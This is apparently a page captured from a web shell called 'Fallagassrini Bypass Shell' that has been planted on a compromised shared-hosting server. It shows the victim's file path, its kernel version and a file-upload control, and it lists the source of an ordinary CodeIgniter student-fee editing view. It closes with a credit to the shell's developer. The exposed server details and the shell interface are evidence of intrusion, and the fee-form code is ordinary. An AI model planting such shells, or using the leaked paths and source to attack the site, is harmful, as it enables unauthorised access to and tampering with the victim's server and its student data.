? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/koaladraft/application/views/student/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/koaladraft/application/views/student/edit_student_fee.php

<?php
if (!defined('BASEPATH'))
    exit('No direct script access allowed');
$this->load->view('documentreadyfunctions');
$stud = array(0);
$index = 0;
?>
<?php
$attributes = array('id' => 'validateform', 'class' => 'validate');
//echo form_open('student/addinstudent/update_student_fee/view_student_class/1', $attributes);
echo form_open('student/update_student_fee', $attributes);
//var_dump($student_monthly_fee_details);
?>
<script>
    function getFeeParticularAmount(fee_details_id,payment_type,index){
        $('#new_first_month_div_'+index).hide();
        $('#new_pay_amount_'+index).show();
        $.ajax({
            type: "POST",
            dataType:"json",
            url: "<?= site_url() ?>/student/get_fee_details/"+fee_details_id+"/"+payment_type,
            success: function(msg)
            {                
                if(payment_type=="monthly"){
                    $('#new_first_month_div_'+index).show();
                    $('#new_pay_amount_'+index).hide();
                    $('.new_pay_amount_'+index).val(msg);
                    $('#new_pay_amount_'+index).val(0);
                    //                    $('.calfocus').datepick({dateFormat: 'dd-mm-yyyy'});
                }
                else{
                    $('#new_first_month_div_'+index).hide();
                    $('#new_pay_amount_'+index).show();
                    $('.new_pay_amount_'+index).val(0);
                    $('#new_pay_amount_'+index).val(msg);
                }
           
            }
        });        
    }
</script>
<div class="icons_main">
    <div  class="icons">
        <img src="<?= base_url() ?>assets/images/back.png" title="Back" class="clickimage" onclick="student_class_details('student','student_class_details','<?= $class_details->class_name_id; ?>','class_name_id','edit_student_class')" alt="Back" align = "center" width="32" height="32"  />
    </div>
    <div class="icons_caption">
        <h4>Update <?= $class_details->first_name; ?> 's Fee Details</h4>
    </div>
</div>
<div class="grid_6">
    <div class="box">
        <div class="header main no-icon">Class Room Details</div>
        <div class="content  no-padding">
            <div class="section _100">
                <label>Student Name</label>
                <div class="single_page">
                    <?= $class_details->first_name." ".$class_details->last_name; ?>
                </div>
            </div>
            <div class="section _100">
                <label>Reg No</label>
                <div class="single_page">
                    <?= $class_details->reg_no; ?>
                </div>
            </div>
            <div class="section _100">
                <label>Term</label>
                <div class="single_page">
                    <?= $this->mastermodel->get_single_field_value('term', 'term_name', 'term_id', $class_details->term_id); ?>
                </div>
            </div>
            <div class="section _100">
                <label>Date of Allotment</label>
                <div class="single_page">
                    <input class="calfocus required"  type="text" name="class_allocation_date" value="<?= $this->mastermodel->convertdatenormalformat($class_details->class_allocation_date) ?>"  id="class_allocation_date" style="width:inherit;"/>
                </div>
            </div>           

        </div>
    </div>
</div>
<div class="grid_12">
    <div class="box">
        <div class="header main">Student Fee Details</div>
        <div class="content  no-padding" >
            <table class="table" cellpadding="0" cellspacing="0" id="tbl1">
                <tr>       
                    <th>Sl</th>
                    <th>Fee Particulars</th>
                    <th>Payment Period </th>
                    <th> Amount</th>

                </tr>
                <?php
                $i = 0;
               $term_academic_details = $this->mastermodel->get_data_dual_srow('term_academic_details', $term, 'term_id', $academic_year_id, 'academic_year_id');

                foreach ($student_fee_details as $list) {
                    $start = $term_academic_details->term_start_date;
                    $end = $term_academic_details->term_end_date;
                    $dt = $term_academic_details->term_start_date;
                    $student_month_fee = 0;
                    $i++;
                    ?>
                    <tr>
                        <td><?= $i ?></td>                        
                        <td>
                            <?= $list['fee_particular_name'] ?>
                            <input type="hidden" class="calfocus" value="<?= $list['fee_particular_id'] ?>" name="particular_id_<?= $i ?>" id="particular_id_<?= $i ?>"/>
                        </td>
                        <td>
                            <?= ($list['payment_type'] == "monthly") ? "Monthly" : "Termwise"; ?>    
                            <input name="payment_type_<?= $i ?>" id="payment_type_<?= $i ?>" value="<?= $list['payment_type'] ?>" type="hidden"/>
                        </td>
                        <td>                            
                            <div id="first_month_div_<?= $i ?>" style="width: 400px;float: right"> 
                                <?php
                                if ($list['payment_type'] == "monthly") {
                                    $j = 1;
                                    ?>
                                    <label style="display: block;width: 200px;float: left;">WEF Date</label>
                                    <label style="display: block;width: 200px;float: right;text-align: right;">Amount</label>
                                    <?php
                                    if (isset($student_monthly_fee_details[$list['student_class_fee_id']])) {

//                                        if ($j == 1) {
                                        ?>

                                        <?php
                                        //}
                                        foreach ($student_monthly_fee_details[$list['student_class_fee_id']] as $month_fee) {
                                            ?>
                                    <input  style="width: 150px;float: left;" type="" readonly="" value="<?= date('M-Y', strtotime($month_fee['fee_wef_date'])) ?>"/>
                                    <input class="pay_amount<?= $i ?>" name="pay_amount_<?= $i . '_' . $j ?>"  style="width: 150px;float: right; clear: right;text-align: right" value="<?= $month_fee['amount'] ?>"/>
                                    <input name="wef_date_<?= $i . '_' . $j ?>" type="hidden" value="<?= date('Y-m-01', strtotime($month_fee['fee_wef_date'])) ?>">     
                                    <div class="clear"></div>                                           

                                            <?php
                                            $j++;
                                        }
                                    }
                                }
                                ?>
                            </div>                        
                            <!--                        </td>
                                                    <td>-->
                            <?php if ($list['payment_type'] == "term") { ?>
                                <input name="pay_amount_<?= $i ?>" id="pay_amount_<?= $i ?>" class="required medium1" value="<?= $list['fee_amount'] ?>"/>
                                <?php
                            }
                            ?>
                            <input type="hidden" name="fee_details_id_<?= $i ?>" id="fee_details_id_<?= $i ?>" value="<?= $list['student_class_fee_id'] ?>" />
                        </td>
                    </tr>
                    <?php
                }
                ?>
            </table>            
            <input type="hidden" name="student_class_id" value="<?= $student_class_id; ?>"/>     
            <input type="hidden" name="class_name_id" value="<?= $class_details->class_name_id; ?>"/>  
            <input id="index" name="index" value="<?= $i ?>" type="hidden"/>
            <input id="student_id" name="student_id" value="<?= $class_details->student_id ?>" type="hidden"/>
        </div>
    </div>
</div>
<?php
$session = $class_details->class_session;
$no_days = $class_details->no_of_days;
$term = $class_details->term_id;
$fee_deatils = $this->studentmodel->load_student_fee_details($academic_year_id, $session, $no_days, $term);
?>
<div class="grid_12">
    <div class="box">
        <div class="header main">Add Fee Particular</div>
        <div class="content  no-padding" >
            <table class="table" cellpadding="0" cellspacing="0" id="tbl1">
                <tr>       
                    <th>Select</th>                   
                    <th>Fee Particulars</th>
                    <th>No of Days</th>
                    <th>Payment Period</th>
                    <th>Amount</th>
                </tr>
                <?php
                $i = 0;
                foreach ($fee_deatils as $list) {
                    $i++;
                    ?>
                    <tr>
                        <td><input type="checkbox" name="add_new_fee_particular[]" value="<?= $i ?>"/></td>
                        <td>
                            <?= $list['fee_particular_name'] ?>
                            <input type="hidden" value="<?= $list['fee_particular_id'] ?>" name="new_particular_id_<?= $i ?>" id="new_particular_id_<?= $i ?>"/>
                        </td>
                        <td>
                            <?= $list['fee_term_no_of_days'] ?>
                        </td>                    
                        <td>
                            <select class="chzn-done  medium1" name="new_payment_type_<?= $i ?>" id="new_payment_type_<?= $i ?>" onchange="getFeeParticularAmount(<?= $list['id'] ?>,this.value,<?= $i ?>)">
                                <option value="">Select</option>
                                <option value="monthly">Monthly</option>
                                <option value="term">TermWise</option>
                            </select>
                        </td>
                        <td>
                            <div class="clear"></div>
                            <div id="new_first_month_div_<?= $i ?>" style="display: none;"> 
                                <?php
                                $j = 1;
                                $start = $term_academic_details->term_start_date;
                                $end = $term_academic_details->term_end_date;
                                $dt = $term_academic_details->term_start_date;
                                while (strtotime($dt) <= strtotime($end)) {
                                    $month = date('M', strtotime($dt));
                                    $year = date('Y', strtotime($dt))
                                    ?>
                                    <input  style="width: 150px;float: left;" type="" readonly="" value="<?= date('F -Y', strtotime($dt)) ?>"/>
                                    <input name="new_pay_amount_<?= $i . '_' . $j ?>" class="new_pay_amount_<?= $i ?>" style="width: 150px;float: right; clear: right;text-align: right;" value="0"/>
                                    <input name="new_wef_date_<?= $i . '_' . $j ?>" type="hidden" value="<?= $year . '-' . $month . '-01' ?>">     
                                    <div class="clear"></div>
                                    <?php
                                    $dt = date('Y-m-01', strtotime("+1 months", strtotime($dt)));
                                    $j++;
                                }
                                ?>
                            </div>                        
                            <input  style="width: 150px;float: right; clear: right;text-align: right" name="new_pay_amount_<?= $i ?>" id="new_pay_amount_<?= $i ?>" class="medium1" />
                            <input type="hidden" name="new_fee_details_id_<?= $i ?>" id="new_fee_details_id_<?= $i ?>" value="<?= $list['id'] ?>" />
                        </td>
                    </tr>
                    <?php
                }
                ?>
            </table>                        
        </div>
    </div>
</div>
<div class="grid_12 " id="stud" > 
    <div class="box">
        <div class="actions"> 
            <div class="actions-left">
                <div >
                    <div id="empdiv"></div>
                </div>
            </div>           
            <div class="actions-right">
                <button type="submit"  class="clickimage"  onclick="validate_form('validateform')">Process</button>
            </div>
        </div>
    </div>
</div>
<?php echo form_close(); ?>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net